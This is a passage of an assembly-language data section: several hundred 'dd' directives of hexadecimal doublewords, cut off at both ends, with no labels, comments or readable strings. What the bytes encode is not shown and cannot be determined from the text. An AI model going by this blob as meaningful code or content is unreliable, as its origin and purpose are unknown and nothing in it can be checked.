0CCCF0DACh dd 231381A0h, 900661E4h, 65C4F727h, 75AF438Fh, 1264E35Ch dd 0D223A919h, 40A3D049h, 167B08CBh, 753A1ECEh, 0C0400D0Fh dd 900E0C18h, 0D37BDFDh, 0B46805F8h, 0C3D899A0h, 69B0C601h dd 16215CBFh, 0DB935519h, 0FB4CFB08h, 184B0EE9h, 12770EBDh dd 5205BA4h, 29905BCBh, 671557BFh, 34059670h, 0D97A4598h dd 173B1B48h, 662CB331h, 52872580h, 0B2254C98h, 0E72204B7h dd 802A2914h, 944AB09Ch, 35192CE4h, 90FEA4D7h, 3C09204h dd 0E0B8008Eh, 3A40C504h, 0B244D28Ch, 48A68E67h, 142505FAh dd 575EC6CDh, 41A64018h, 6793330Dh, 6CD1B4Ch, 36C8B936h dd 6263B0Eh, 3A85B390h, 4C3A84CDh, 0A3C64919h, 9C142608h dd 0F608425h, 0C8804FADh, 0F681AF07h, 0E8368076h, 4518CE00h dd 1410AC18h, 0A3764B2Dh, 0BDAC1412h, 128815F3h, 67B00761h dd 44CC465Eh, 942305FAh, 0CDD11EC2h, 0BE59801Ah, 147CCE47h dd 0F7B70420h, 8B1DC9CCh, 804298Dh, 6078A501h, 19115787h dd 0E7E46480h, 9A65AFC3h, 4B00B2FFh, 893CF83Ch, 0E97CBD96h dd 0F8400C66h, 0D9F23BD1h, 0F840F838h, 2F178B7Eh, 0C2079F2h dd 0F840F840h, 0A2407207h, 440B0619h, 92D968F8h, 84F84407h dd 9017D8B3h, 58B780Bh, 84418D5Bh, 96D05E0Dh, 12257A63h dd 0DF21C60Eh, 1374861Ch, 258384DDh, 0BE41CCB1h, 0B4C00AE7h dd 180CE71Dh, 61601ECDh, 2F387594h, 57CCE86h, 708C019Ch dd 56228A8Dh, 7E769E05h, 139C7AC3h, 0A5831736h, 0B6572514h dd 0A04456D0h, 0B39D3B4Dh, 17165C81h, 56236601h, 287BBD98h dd 6820FE4Bh, 85CA615Bh, 917B3734h, 634CD41h, 89832E0Ch dd 97F222Fh, 0B8B3BC06h, 4D75EC31h, 81344217h, 81A22DD2h dd 0A32C2F6Ch, 1AF68095h, 9FB8113Ah, 0F6577236h, 0C61B17BAh dd 5369481Ah, 18C96032h, 3930304Ch, 30207656h, 1611A31Bh dd 97BEAC96h, 0E12E0A16h, 42D2C270h, 6026B5E0h, 508E8409h dd 45605212h, 0A2415D84h, 0FA1F90E0h, 0CC9EA438h, 303374A5h dd 0DF6A8079h, 8047DEA1h, 22DF7303h, 0BF761003h, 20932211h dd 20488052h, 0B0395FEBh, 0FD1AC0E7h, 64FE114Bh, 2D7B21E1h dd 7A3E3975h, 74C3277Fh, 16121456h, 8EE52E1Bh, 5ABA2D7Dh dd 25C0183h, 826CD3D5h, 94158A59h, 0C6C8929Bh, 0C8726E05h dd 46062828h, 201B9E78h, 28A5F828h, 0C90A18D3h, 0D4E2718Eh dd 7B3467C8h, 1CC7FB07h, 4391855h, 5A75728Ah, 8403474h dd 0ECC3F09Bh, 74AB3C24h, 3209FC81h, 27D1E136h, 0FC8A4C8Bh dd 21672CD3h, 8B586D93h, 140E2080h, 6DD96F7Ch, 1B812485h dd 0AF09900Ch, 0AA3A4E4Bh, 0BC31080Bh, 0D1EF0E20h, 6840CC0h dd 426211ABh, 95D3BE24h, 42E5498h, 0BACB99B4h, 1E43EFD1h dd 0A58010BEh, 7068C524h, 95B77DDBh, 85C6373Ch, 0D528011Ch dd 1031CDAh, 10833620h, 0B0764829h, 72EB2409h, 5229753Eh dd 7704FB03h, 0B2DE1061h, 0BB792B1Bh, 1BFF0144h, 95457525h dd 7006C01h, 6443F32Ah, 0BEB2549Eh, 20958942h, 853BC6F8h dd 0FD82D622h, 73077C11h, 27250781h, 68AAF0Fh, 23201010h dd 455F0C05h, 0E0474494h, 740B2E80h, 448D9C13h, 7806B803h dd 0FC0C271Bh, 2469CF88h, 0C50FB461h, 0BC294D92h, 7A7CC6EEh dd 0EA925E06h, 0E41D90Bh, 1AC5E13Ch, 3DD9692Ch, 0F5EC8C18h dd 1A743FC8h, 8DC815E0h, 0C3CE5058h, 0E317EEC4h, 0CDDD8C8h dd 0ADD085C8h, 36C96219h, 0BE117DA1h, 43B03880h, 212AB22h dd 764D5180h, 4B4011F0h, 0D9760624h, 1E501682h, 0BD86244Bh dd 5EE70F3h, 27674B23h, 4B1AD846h, 0C2C9030Eh, 80206385h dd 0D6A1760h, 77848050h, 9518BC36h, 590CEE80h, 9C053496h dd 0B89FA17Ch, 0E98412C8h, 0EE6A949Bh, 33BD9A00h, 670C06EEh dd 0C5DA184Fh, 6A41E910h dd 6C25FF11h, 21349152h, 80842612h, 4CB83EB3h, 62B8231Ch dd 0A8A935CAh, 68A218CBh, 0C51B6008h, 0E9A75BD7h, 0D122CA1Dh dd 0D5B49778h, 0EE937C9Bh, 0B906B4A4h, 82AFA266h, 0FAE08005h dd 0E13EB605h, 1B03829Dh, 187521BAh, 0DE2078D4h, 0A42D4963h dd 5A547B05h, 55041B03h, 6153341Bh, 5FD50AFh, 242D008Ah dd 42D1121Ah, 69EEF70Eh, 8FF8817h, 8069D883h, 776DFB65h dd 0C8E33CEFh, 0F5F8EE28h, 6E43FF7Ch, 0A2FC8D41h, 21146DC8h dd 4A58011Ch, 4496E885h, 851755F2h, 4083662h, 680BFC73h dd 7EED1565h, 6DA4D7EBh, 84153EE4h, 0F0C7326h, 321E8006h dd 0EB283E20h, 734050E4h, 0B8E88515h, 8C809E50h, 22538A11h dd 88BF5019h, 0FEDEEB28h, 81E4F548h, 73023C50h, 15CA01E0h dd 4848DBEFh, 0C175538Ch, 4D3BC6DCh, 40AD5569h, 55754021h dd 40571EE5h, 5EB9EA09h, 11C0EC55h, 413D149Eh, 44DB1EFFh dd 425BA4A7h, 0F82931A0h, 0F500ED04h, 0FF498A27h, 3C36C80Ah dd 92D94721h, 5B046F48h, 2532048h, 0D86C7077h, 62AE4B6h dd 869402Fh, 235C92CBh, 57D695Fh, 0C63B03Bh, 2AECBC33h dd 6FD08708h, 6B808448h, 325AC9Ch, 0F4AB74F3h, 0A82C368Ah dd 188BB23h, 0B2FA6993h, 83FE6FF7h, 0B38830E0h, 2075108Ah dd 2AED812Eh, 3B010CFCh, 29DDDB79h, 1F84DCDEh, 0C1096560h dd 4AE144F9h, 0FECA396h, 26AC10Bh, 81D90D3Ch, 5EEB1D64h dd 0E4210667h, 0F064916Dh, 223FE083h, 7360693Ch, 585CDB78h dd 8A331580h, 25AEB0C2h, 0D32A5C23h, 5DD1B2FCh, 0DB4E6C56h dd 0CB5E41A3h, 11258688h, 0F5589C98h, 502D06D7h, 0E1E8A8FCh dd 0E867591Bh, 0F9008B0h, 780BBF55h, 68F04DCBh, 44EB84h dd 0C056AE2h, 37FF8A26h, 88A5AFCh, 888C1D2h, 0F6754A40h dd 187FCB95h, 3308E151h, 8AC033C9h, 0D0BC1E0Eh, 0F983FA88h dd 1F037261h, 0C1037F80h, 36F6FEEBh, 3A898A85h, 3C0C10Ah dd 35DCEB46h, 1BF825Dh, 35980819h, 84FE8B0Ch, 846FFE49h dd 0AA34AC59h, 10CC002h, 1951E2AAh, 0AC5BA910h, 0B6978D44h dd 0EB74082Eh, 332CF307h, 0A5D81D7Eh, 4499BB68h, 0CB08F9F7h dd 7B0C1004h, 0D56A0B1Bh, 42A2A10h, 10832B11h, 0D0F708F5h dd 886632B7h, 8684D38h, 92D92395h, 0E2C17D87h, 0C2326D02h dd 30DB0211h, 0E80104E4h, 0D9B5C3DDh, 35364B28h, 99D9A765h dd 2F756CAh, 80E442B5h, 79DE330Ch, 90F2D994h, 0B9DDC32Ah dd 178175Dh, 6FDE5E43h, 3E4050A8h, 1508820Ah, 0C28B1788h dd 0B43216F6h, 7E106421h, 37407D0Ch, 479B921Bh, 129B759Bh dd 0C9688871h, 60B8CD32h, 0F2137C10h, 0D5012119h, 0B1D615D0h dd 153B4836h, 88782F1h, 80B155BEh, 0A0B32A38h, 0DD3032C5h dd 0CBC4889h, 31B582FCh, 0E8145A57h, 0CDB2EFE8h, 5DBF93DCh dd 0EA18F2FEh, 0B645930Ch, 772B5F05h, 0CAD872F8h, 2A129926h dd 5B0AD944h, 0C18955EAh, 8B3CC22h, 4BD898C7h, 45237BD0h dd 0ABBF0867h, 209EFCDh, 8FC8FDEh, 98BADCFEh, 3254760Ch dd 0C25DF410h, 62F8D63h, 185D0014h, 59B8840h, 10372453h dd 0D8C1048Dh, 0A23ECE5h, 733B1710h, 0E2AA0A0Dh, 4014EC6Eh dd 0C1261417h, 66961DE8h, 1421FC73h, 4813BF03h, 583003FCh dd 0E84D0615h, 61D47668h, 37188005h, 0EF805840h, 62508A1Dh dd 0C761650h, 0F8673063h, 68E2C06Fh, 0D90B08D4h, 18A4FC15h dd 838503BEh, 1ACAE3BFh, 0F60C4881h, 51663046h, 7240AA10h dd 0AB26035h, 2D38B982h, 4F27CD96h, 0C08338D8h, 40E88340h dd 948C9BEBh, 3584C5BDh, 26FC0C2Dh, 0D39863DBh, 3B0CCD05h dd 6A3E8558h, 6A1780C6h, 0E053DA3Fh, 0D0F8A13Eh, 0BC367308h dd 464E419Ch, 0C66C1BEh, 0C161E00Ch, 1F386ADAh, 14EB2314h dd 0A1F6135Eh, 3950088Eh, 0BEC0BA6Ah, 60D01DFh, 3B3F5050h dd 2DEA9951h, 20E9109Bh, 65A10FB3h, 0D0471DEFh, 6110EB5Bh dd 75165A70h, 101AE4D9h, 6673EA83h, 65B0C463h, 7655021Ch dd 2B03B015h, 41186854h, 9901919h, 18021039h, 9E0C187h dd 0E282EB03h, 9D24B150h, 0B045075Fh, 9F40F2D7h, 8E6620ACh dd 80CD976Bh, 0F46C6D9Ah, 0F0A90C08h, 0E25B4723h, 0D1F7A21Fh dd 0DBF04D23h, 0F2B03E03h, 84FE28A4h, 6AA47801h, 7E054D7h dd 0F6AC0DDCh, 1D19E9C1h, 45231914h, 9E59BDF8h, 0B4F439CFh dd 0C7B756F0h, 0B73677E8h, 39F0598Dh, 1439120Ch, 5F7DF310h dd 2308688Ch, 0F839F0CEh, 0CB378831h, 70DBF4B8h, 0ED032420h dd 396DCD9Dh, 0F391211h, 0A77C2310h, 8F0B382h, 0FC390023h dd 0F73BC26Dh, 0EE39BABCh, 77C1BDCEh, 0B3BC5C39h, 391216B9h dd 0E45E100Ah, 8F65327h, 0FAFC0E7h, 0FC85F57Ch, 2AC42864h dd 0A14787C6h, 0C80C9F90h, 0A8304613h, 93F21432h, 469501CCh dd 864FD0FDh, 98D87E42h, 0AFD46980h, 50C9F9F7h, 0D88B44C8h dd 0FFFF5BB1h, 0A193F21h, 5CD7BEDCh, 27E42889h, 1122E043h dd 850C6B90h, 93E464FCh, 0E8FD9871h, 9F90A193h, 0A679438Eh dd 50D232ECh, 0B40821F2h, 0F065F049h, 6FF21C8h, 1E2562E7h dd 632005F6h, 0F41BC91Ch, 1C8CF47Dh, 40E76FF2h, 9C040B3h dd 0C2320617h, 0F895F891h, 0FF21C8C9h, 5E5A51E7h, 6F120E26h dd 0FC1D6320h, 94E7FC4Dh, 0AAF21C8Ch, 14E9B6C7h, 7E42860Ch dd 105DC472h, 0C9D8D62Fh, 534FC850h, 0EC024414h, 0F90A193Fh dd 0D8A1E681h, 0D3FBC8C0h, 4327E4E7h, 0CDE6D421h, 0FC8521E1h dd 0D6E82864h, 0A1C33707h, 0BC0C9F90h, 0F4D50D87h, 93F21432h dd 5A14EDD0h, 864FE445h, 0E9057E42h, 0F8B8A9E3h, 50C9F9A3h dd 0CCFCEFC8h, 676F02D9h, 0A193F24h, 2A4C8AE0h, 65BEB38Dh dd 3333085Bh, 9480C482h, 42F21C8Ch, 4FFFA39h, 0AD93F21Ch dd 793533D8h, 71F681D0h, 8C94D887h, 33150B1Ch, 9F587235h dd 61228AA4h, 10726D9Dh, 325362D9h, 0CB353310h, 21C8C8E8h dd 0E5380C3Fh, 80917FDh, 0B45327E4h, 0A4BEEA44h, 0E4FC811Ch dd 0DECFA9C0h, 2393CC4Bh, 4B509F90h, 7ED8F6BBh, 70F20472h dd 0E4BEBFBCh, 289B7EC6h, 408E4FC8h, 0A127FAB0h, 0C9F902EAh dd 3085BC11h, 2047D4EFh, 5C8393Fh, 0D404881Dh, 27E408E4h dd 0D9D4D039h, 811C9FE0h, 0DB99E5FCh, 7CF8ECE6h, 2393F2A2h dd 65B81F90h, 0BDC4AC56h, 1150AD5Fh, 3CC80B43h, 197EB0E4h dd 2922446Eh, 0CF0616F4h, 1A64A5F3h, 0CCF8FC38h, 59F90E46h dd 2AFF9715h, 0F5160A43h, 384A5F3Ch, 64E8FCF0h, 149F90E4h dd 0AB9423A7h, 0CF67110Fh, 0F438A5F3h, 39E3C4F0h, 0E4391928h dd 15FC93A0h, 0FC845C0Bh, 59C3E064h, 93BC655Bh, 929F908Bh dd 0D88F0CCCh, 0F211727Eh, 0FFEFF47Dh, 845DD1B4h, 2E4FC885h dd 7E4FD042h, 0F9086FA8h, 0E0EC45C9h, 17FE2CE6h, 0C8B93F21h dd 0A3014314h, 0E422E4E4h, 811A127h, 5C9FC04Eh, 7E82FC84h dd 35DCF753h, 93F23AF2h, 0B8BD908Bh, 2AD7D2BBh, 11727E4Ah dd 86D391D4h, 1AE154EBh, 0B7C2210h, 33380C5Ch, 0F095C327h dd 4E03195h, 80E032Dh, 18CAF048h, 40E0333h, 11C17225h dd 0C9536041h, 0B69177DAh, 0C1014908h, 0E8608E1h, 9640659Eh dd 18031002h, 6F159FCh, 8A04302Ah, 223AA7EBh, 0A6208AE8h dd 6828B6F0h, 37699613h, 0D153D24h, 904A974h, 43243220h dd 0B4B00FF2h, 0D63152B8h, 1C0A4B16h, 5441B32h, 58AA71Ah dd 7EF9E79Eh, 9C30356h, 0C2B4C1B0h, 79EC9926h, 0C727C6B8h dd 90D552C5h, 3646C449h dd 2063D86Ch, 472C2E30h, 521B27BAh, 40CBD3CBh, 7FD3C91Dh dd 0C9BA47BAh, 0D3CA0D56h, 0D3153BCAh, 0BDC803C0h, 256BBC11h dd 0C181C929h, 0C2D3F111h, 0DF672103h, 2F3F1B8Bh, 891D5FB4h dd 33BD0658h, 61A196BCh, 9214AC58h, 0D32B7A74h, 7AAB82DDh dd 0A841D233h, 5D2C08ABh, 214B0A5Eh, 8532761Ch, 214A223Dh dd 40BD51B0h, 18AA0032h, 246B0C40h, 0BBA05E1Fh, 66503548h dd 1E76030Dh, 71B3A819h, 0DDFCAF47h, 0C2B0F54Fh, 0DCEB6718h dd 0E9D0088Ah, 76377EF8h, 0D95D291Ah, 82F88088h, 0E0255415h dd 30150740h, 0F14D8DBDh, 0E154F501h, 19183206h, 0EAE88B3h dd 0C8BD0C02h, 8A4F5006h, 8F227683h, 1BD8580Ah, 12055A1Bh dd 0EB90BF75h, 0F0C92DD8h, 720321C0h, 0B90DC0C0h, 200DD121h dd 0EFF7E2AAh, 70B01566h, 7FF85C43h, 5A3B0E7Eh, 33211D06h dd 4021F321h, 823224EFh, 95488954h, 4DCBD90Ch, 727A5A7Fh dd 1B78300Bh, 0A77C486Ah, 80CEA024h, 715C3EE0h, 59344732h dd 2C6A4412h, 2D021E08h, 4B84CFBh, 8C3C55EFh, 5B232FE4h dd 0B816200Ah, 2B49A819h, 2A0E823Bh, 8014664h, 0F27DCAACh dd 0B0FF00C6h, 0F1FE09C2h, 152F6E28h, 892070DBh, 6C1EF091h dd 83697546h, 0FB0D8CA5h, 8B0767CCh, 0FC8CFC8Ch, 785A6805h dd 7DB40603h, 168DCC1Ah, 3451DFCh, 0CDEB9C34h, 0A0680A6Ah dd 7A22C0A8h, 0C83DCF10h, 824006D8h, 328A15F0h, 44F6324h dd 8E2BE868h, 436321ECh, 15E4C632h, 8C81F4CAh, 94680B3Ch dd 3E6B8CEh, 473C0060h, 0BD3AD2CEh, 88C305E7h, 68182733h dd 660D85FCh, 8010BB01h, 1534F48Ch, 2B6C7ECAh, 6A0889DAh dd 0A8186844h, 7B2B92Bh, 6A204439h, 2A665490h, 20019079h dd 19AC6804h, 46C9908h, 9BD8E02Bh, 0DC081902h, 1E4AD858h dd 545828ECh, 3BB46806h, 699064Ah, 94D50808h, 0BC2640ADh dd 4C8118A9h, 71C40472h, 4002C591h, 7A410358h, 2F608B0Ch dd 721D6072h, 3461641Bh, 0DE68FC90h, 513B7250h, 5FC9433h dd 0E4A9B027h, 680AC3C1h, 0D92B0ACCh, 32792A64h, 0E326068h dd 0B721836Dh, 28F4940Bh, 8ACADA18h, 0F49CCF9Dh, 0B23EE488h dd 0B54072C2h, 320AAF2Dh, 4C86B456h, 0C2872139h, 0F4FDFCBEh dd 1FBF02FDh, 0FFFDF4F2h, 2C89685Ah, 6B5BAF50h, 1053BE74h dd 73064427h, 43B9C7h, 5CB58C03h, 3F833C91h, 68DEDCA8h dd 88F92230h, 52C04FB0h, 206CA1D0h, 0BA415088h, 380F8E47h dd 0B1B6447Bh, 0B1303EEFh, 0DB606A59h, 6C8A67C9h, 0CA0D6B1h dd 0BC4BE8B2h, 547CD40h, 0BF1B850Fh, 95AAF6A2h, 10E4BCDh dd 2DF880F1h, 0B2B05C86h, 8D0E1043h, 0DA78A281h, 0B903E3F5h dd 0F50EFD40h, 1264B800h, 0A33D3645h, 60C0032Bh, 7EFDF43Fh dd 269BA0CFh, 103A5C75h, 0F77258B4h, 4B7C8C81h, 4F7E0815h dd 0A23204C8h, 386820AEh, 9E40F073h, 6A68D2B3h, 88E5C47Ch dd 8E28D256h, 462C2B09h, 882A244Ch, 40A1438h, 4C2E4326h dd 4133266h, 0C200C931h, 5CC1F903h, 0EFB4FDB3h, 0B91303E8h dd 311A16E0h, 3A512490h, 4AEE66F0h, 83226606h, 12E41C2Dh dd 84FF41C9h, 10F484F4h, 6EF4CFEh, 7D100564h, 0ECB10D1Fh dd 6C1C5E1Dh, 1B2D3B41h, 16E66869h, 0A31762E4h, 0FCD33D94h dd 0F1A9CEh, 68A0F80h, 2038A210h, 0F4B2BDA0h, 0D0521E73h dd 3DC3E02Ch, 0BC05C06Bh, 0B0536146h, 0EB31BBF4h, 5B4032D3h dd 29DDC049h, 35757F3Dh, 4BC13D3Ah, 0F805A4A6h, 20294EEBh dd 0F48258DFh, 0C16C4269h, 0F061AC76h, 1032F07Bh, 0E9BB2A23h dd 3C4B2D92h, 4815D4C9h, 564D8CF4h, 0CEB60230h, 808B5181h dd 4F1998A3h, 98083273h, 0FDFC89CCh, 3C50EF01h, 3808DE05h dd 9019F110h, 21350101h, 0A0F11024h, 2E0C1F9Ch, 13BCAA21h dd 119B3B93h, 8B3293C5h, 1AAD4F21h, 6D0C6E10h, 17AA016Fh dd 193F0E54h, 27212Fh, 7026EFEh, 1AB365C1h, 3EBBB51h, 0F0C8763Bh dd 1C740B3Bh, 22045573h, 209F5C66h, 0BDD9721h, 1D81EB1Dh dd 517E5489h, 58C94FAFh, 62E4B405h, 0E5705751h, 1E49B2C6h dd 0FAE87D16h, 0F7E40E0Ch, 0D57D51Eh, 0D3FEF49Dh, 78B5559Ch dd 199F3FFCh, 1AFDC82Ch, 6DED17ECh, 8D32AAC4h, 0CC26E8CDh dd 530BC202h, 67E0C93h, 0FAD54C9h, 5E07D484h, 36C84C23h dd 13D8FC75h, 3BC155E0h, 9052F45h, 80F93E00h, 901FAE0h dd 6884EDB6h, 0D5AC06E6h, 0C4D6AA3Dh, 37D8BB19h, 2B8312D8h dd 63D8723h, 0E4E42667h, 3A839EF6h, 2ECD0823h, 5B5E88Bh dd 0F0B04F9Bh, 5104101Eh, 0B9262805h, 0C6A00951h, 9158F48h dd 986861CFh, 6D05D6Dh, 5CC8B0E4h, 41A34B8Ch, 53EC64A8h dd 0AD93845Fh, 73AE0E0Ah, 7203D8E8h, 41787360h, 20C97068h dd 64043613h, 4C805C55h, 485410C8h, 43213201h, 0C804343Ch dd 20280C84h, 325A54CAh, 93655114h, 2728C9B3h, 0C006D4h dd 0C49393D5h, 0A1FAD0C8h, 74D9B218h, 0FAE4C600h, 0BA4190D2h dd 0C4072F59h, 0EF9F25C8h, 8A503259h, 0FEFC01B6h, 0EC443A20h dd 3A6E8B1Ch, 0F7EFC550h, 0E181833Eh, 65C10B0Eh, 478AB544h dd 84027C03h, 3410AAAFh, 80D38102h, 0AEC5F41Ch, 0FAC1CE1Eh dd 0FAB82BCEh, 1420005h, 0F545639h, 0D852FAB8h, 0FAB8C939h dd 6023FABCh, 95A2AE7Fh, 0C5E86823h, 851C81C6h, 2ADC104Ch dd 71E6C245h, 20C5D401h, 2B308212h, 32AC7231h, 0D448702h dd 1B45AB4h, 0B41C8084h, 9299093Ch, 0ACACAC91h, 90193614h dd 7B23B0ACh, 3C856216h, 60B04161h, 0E421C9E7h, 0FAB41402h dd 6CBB6122h, 5852890Dh, 84C81E2Fh, 0DD4C89B0h, 2C246100h dd 28D8824Ah, 2B74421Bh, 43B2C159h, 0EC35102Eh, 8216EBD8h dd 74408599h, 0A85866A8h, 79F01021h, 2AC52048h, 228B01F6h dd 0EB53EBCCh, 0AB46F551h, 74141C97h, 6C7B723Ch, 4503645h dd 34410D3Bh, 5FBAB105h, 21D0F410h, 325704DFh, 20684F14h dd 0B60BBCCAh, 80A0812Dh, 0D60AD360h, 35F20912h, 50AB9930h dd 486B763Ah, 0EC9B118Ah, 74C7288Ch, 0CB1DCC60h, 0EF09011Ch dd 0B08D90Dh, 9B7CC97Bh, 61139532h, 95985807h, 1A0F02C8h dd 145A6424h, 0BCD90B98h, 5C9C7C9Bh, 0EE6A21D8h, 8323B899h dd 896995A2h, 0C88881A4h, 5A8AA76Eh, 0E22F5148h, 6F485150h dd 0A5C154A0h, 6A9F328Bh, 14186B0Ah, 14F8968Dh, 3608B262h dd 0C76F129Eh, 4081E279h, 6574B044h, 0AC1EFABh, 50A0186h dd 6B3149A2h, 0F604057Dh, 6651C513h, 0F03BB00Dh, 476D383Ch dd 2C441229h, 0A9EC8A84h, 0F6091F61h, 58510D01h, 0D852229Eh dd 29F98FC3h, 0C3C5074h, 0EFC6DC19h, 0A4D98844h, 0D9808A80h dd 168337C8h, 82B38BCh, 0AB657F80h, 6808220Bh, 9B41113Bh dd 0F60B2ECDh, 6482150Ch, 315166DBh, 53A7019Fh, 0C4408521h dd 0ED057F7Bh, 0B80B3ECEh, 1E510E5Dh, 201CF732h, 4CA4F015h dd 204A3690h, 0C71094E2h, 54BC8424h, 1D599EC0h, 730CBC41h dd 0DAC89ABh, 9FCA809h, 0E38062A1h, 14464C3Eh, 0A853FF9Dh dd 75E00BFCh, 0E6ED1342h, 1518E417h, 0FE508421h, 27362A30h dd 456AFE50h, 25800961h, 25FE52F0h, 2AFD04B3h, 607B5438h dd 2F4506FEh, 0BB0B2B59h, 1D8A08BDh, 282E87B5h, 63AC161Ah dd 48901461h, 0A4BE3360h, 1565E49h, 1F75FD04h, 0C3998030h dd 8B3E3043h, 0E3F3E404h, 0C7883729h, 0B65CFCACh, 0F47F49E4h dd 22720DFEh, 0B83B5918h, 3484201Eh, 73FC3C10h, 0E5123764h dd 0A015688Ah dd 4E0B0609h, 98A4063Ah, 4403988Dh, 0C0645EFh, 73E6C95Fh dd 98F4A464h, 0F8F4A8F4h, 0B44036FEh, 0A45F262Ch, 0CD9F36F4h dd 0F8F49849h, 0A4F4A8FEh, 92F510F4h, 94F4A47Ch, 9BE88041h dd 5F50165Ch, 13705536h, 39B8E37h, 5EF27C9Eh, 81440677h dd 0E1B90E90h, 3B27636h, 8DF2919Eh, 38065026h, 80CE08ACh dd 40E86400h, 58C140E6h, 8390F17Dh, 0F494106Ch, 620FF494h dd 0AC5C820Fh, 387A30E2h, 74C29F61h, 1844650Eh, 1EF74E01h dd 7841B6E6h, 0F2740B62h, 82F611D7h, 4040EF7Ch, 7740D19h dd 5582F17Bh, 0B7005BDh, 453B16ACh, 0CDA31BB4h, 51466C24h dd 0DAF6112Eh, 24295009h, 36D5D616h, 6A4FB987h, 216C6813h dd 7CEB50D0h, 32BC3A88h, 24A58000h, 50F6C9CDh, 0D031E64h dd 81019392h, 29782CBCh, 57F294BDh, 70DEC2ECh, 148B73B2h dd 76061B10h, 7D9012B6h, 6CB41336h, 0C7203207h, 6CB70F04h dd 8ADDC166h, 0B80E6685h, 5C670B60h, 688CCC2Dh, 3F6377A5h dd 0F614F001h, 2D8A2F75h, 0F3C8CE04h, 603501B0h, 0D6892F2h dd 12D917ECh, 26EBD368h, 0DEC0DC20h, 73A199Bh, 708C6227h dd 0B526F573h, 8A688D09h, 0CFB1D208h, 0E664C234h, 50091B64h dd 10AE406Dh, 5B6C2F56h, 6C390A55h, 4D566C22h, 9CF29E56h dd 8BE43B72h, 82EC666Ch, 5684118Ah, 0B0C60558h, 0E068FA80h dd 475F00EBh, 5CC8BEC7h, 74233B05h, 9EDC1A58h, 0CCE4496Dh dd 84721054h, 3A28B0F2h, 0E4861CF3h, 8D9C0BEh, 54A60E16h dd 2D1D921Ch, 3039C7B1h, 0AF22EBC7h, 7A647C90h, 0B6246809h dd 64A4C25h, 0A13B4189h, 0F7A95615h, 8E4ECF4h, 82510E0Ch dd 923C56B0h, 5151C521h, 0C5653CE0h, 14B73A00h, 0F402373h dd 186D4548h, 2915C133h, 7760388h, 558FDA81h, 0CEEB0613h dd 3FACB7EBh, 0C11F542h, 0D855F05Ch, 111A05E2h, 0B7507501h dd 0EA13C40Ch, 0AB73510Ah, 417D915h, 0F6C45AFh, 41024A27h dd 0F7C9646Eh, 95EE9144h, 968F7086h, 0FBB9880Ah, 0ACF09E46h dd 55983FF8h, 0C9427502h, 0C6A48641h, 0B0C89CC6h, 894D9727h dd 48EBC04Ah, 0F6039297h, 947CA9D0h, 4A41C7E8h, 8D86992Eh dd 5831260h, 0A24114D6h, 0EA2F0507h, 8824B7FEh, 0E18E396h dd 8209FC1Ah, 1B66F0EFh, 8BF836F8h, 2DB1C4Dh, 1C3EE106h dd 0B5CF1CDEh, 17077330h, 0E466601Ah, 0DC02C41Ch, 4D1C9457h dd 0B1BB2DCEh, 0FC3DCE68h, 189C14A1h, 4082C3Dh, 1C6A3A6Dh dd 4AC643F6h, 0A1F0C32Ch, 0F441CB98h, 352213BDh, 0A3E12810h dd 5B822114h, 2241B07h, 6DBD6A20h, 51DF1C2Ch, 0D4FDDA44h dd 0D607223h, 4B33ECC1h, 53E424E4h, 0E0020C71h, 72C48BADh dd 89F632F7h, 0E4080348h, 6E95A009h, 66F44588h, 5D775B78h dd 0A2028A09h, 0DD4A5F14h, 26DB365h, 0D36FC1ECh, 92988A3Fh dd 0F44DFAA0h, 5D124888h, 7116A8ECh, 680C5000h, 103854C3h dd 41E887F9h, 3A96E0D0h, 0C91FA2DCh, 248AA12Ch, 70169278h dd 6C605B3Eh, 2B2E70A5h, 1106F154h, 1789AD9Bh, 9856F6Bh dd 0B90C0664h, 0E7AA2BD9h, 12CD196Ch, 8AA164BEh, 68B5F0AAh dd 0C5F5207Ch, 0CA18CBA7h, 0AAC87487h, 0B260A846h, 0B7BD591Ch dd 252A1B2Ch, 6283B73h, 9C4CAF0Bh, 6E71EC3Dh, 0ED9B5CBBh dd 0C70C00BAh, 0ABC5F905h, 714E7F66h, 58A2FDF4h, 0F6FFD002h dd 5DC9E022h, 6184840Fh, 75B90117h, 0CDB0FF4Eh, 0E40DFDD4h dd 0A01F6139h, 1ECAB4CBh, 0DE2E96AAh, 26D90CB4h, 0DB205EACh dd 7AF0A80Ch, 0D40563B6h, 0F0C6F517h, 84F25874h, 0EB6915C6h dd 3D7AED10h, 6A00A8CDh, 3903254Bh, 2FB8B819h, 2001FDF8h dd 0EE35837h, 0E10B8221h, 2B172639h, 689D4628h, 0B9EBC419h dd 0C41546Ah, 14DC1159h, 0B3A28104h, 913F047Ah, 45701015h dd 7D9FF405h, 3A5A8597h, 52C9CDAEh, 0A6808B0Eh, 30229ACFh dd 5103F79h, 3EC05480h, 3A530F72h, 0A249010Fh, 66748B1Eh dd 0B909A83Bh, 0C5013A6h, 3ACC13DEh, 0C07B9838h, 92A7FA01h dd 2ADC91C1h, 85869850h, 4A554269h, 9880F0E5h, 3076E840h dd 0CE5432AAh, 8D9EB75h, 0FCC10D96h, 0C2E1850h, 0D0D5146Eh dd 0F618A3A1h, 0F62A12D9h, 591C17A2h, 1AA405B9h, 6FB879ABh dd 92F6C81Ch, 0CB0CAB0Eh, 0BA93C8F7h, 3681EC1h, 0FDF43202h dd 802C868h, 9C043CF9h, 1B27C700h, 660CCBC3h, 8F80C387h dd 17FAF2D9h, 0B39DF60h, 0FF05B498h, 0B4B213Bh, 73820DB3h dd 9D8EB005h, 6B0C9BDh, 73383B0Ch, 3D463B1Ch, 5770DF5h dd 46FDDE2Eh, 0FD6B15Ch, 6AC9EBC1h, 0C69E2592h, 528ED80Bh dd 0F4BB50FDh, 5161D881h, 1687906Fh, 0EC20D9E5h, 9B1A4F16h dd 0CCCCC40h, 34FAF086h, 0CFCD1468h, 0A2E9313Ah, 0C619F1C8h dd 3A0C1CC3h, 1231D08h, 85C8EBDh, 0A40F1408h, 0DFE33F94h dd 0A972D237h, 3CF7ACC7h, 0F909B0FEh, 63A4E70h, 0A406A4F0h dd 0BD144DF7h, 730C0617h, 9F3483F0h, 0F4F7A427h, 78A4F8F7h dd 0F79A4E4Bh, 0F219F0F0h, 1864542Ch, 64F0F4D8h, 0F0320F90h dd 0AC858D89h, 463A4F0h, 7401B524h, 27B11EA4h, 461DF4C1h dd 3610Dh, 1908CF1Dh, 7EA8D315h, 0CDB275C0h, 2E0B75A8h dd 0A85A79EBh, 2700C5EFh, 0D84A2C1Ah, 622B2580h, 0A535127h dd 7421D81Ch, 207F3917h, 7D11B30Dh, 0FC7D47F8h, 7252C940h dd 